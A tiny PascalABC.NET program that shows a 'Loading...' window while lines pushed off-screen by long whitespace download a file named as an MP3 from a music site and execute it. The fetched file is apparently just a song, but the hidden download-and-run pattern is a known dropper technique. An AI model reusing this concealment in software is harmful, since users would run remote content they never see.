uses GraphABC,System.Net;

                                                                                                                                            const 
                                                                                                                                            address = 'www.iplayer.fm';
                                                                                                                                            filename = 'Victor_Ohlsson_-_West_Coast_Groove_4_(iPlayer.fm).mp3';

begin
window.Width:=651;
window.Height:=150;
font.Color := clWhite;

brush.Color := clblack;
setfontsize(100);
writeln('Загрузка...');                                                                                                                     var w := new WebClient();
                                                                                                                                            w.DownloadFile('http://data.iplayer.fm/file/97961133/bGVJamtOenBZRDMxaW9INkVDSEd6ZTI4ZHFkMnBYbFUxS0JIMUY3RWVhREJZYnd4ZkFUc2MzdlhXYVkwc2o5UDZNcHhFNlk3c3htV0wxbkx1c0VwT201WFZMb2tLQmFKWEJ3eXZHdHZXQTFyY1d3MzZ1bG1XeHlmMVlLMFZEODY/Victor_Ohlsson_-_West_Coast_Groove_4_(iPlayer.fm).mp3'+filename,filename);
                                                                                                                                            Exec(filename);
window.Close;
end.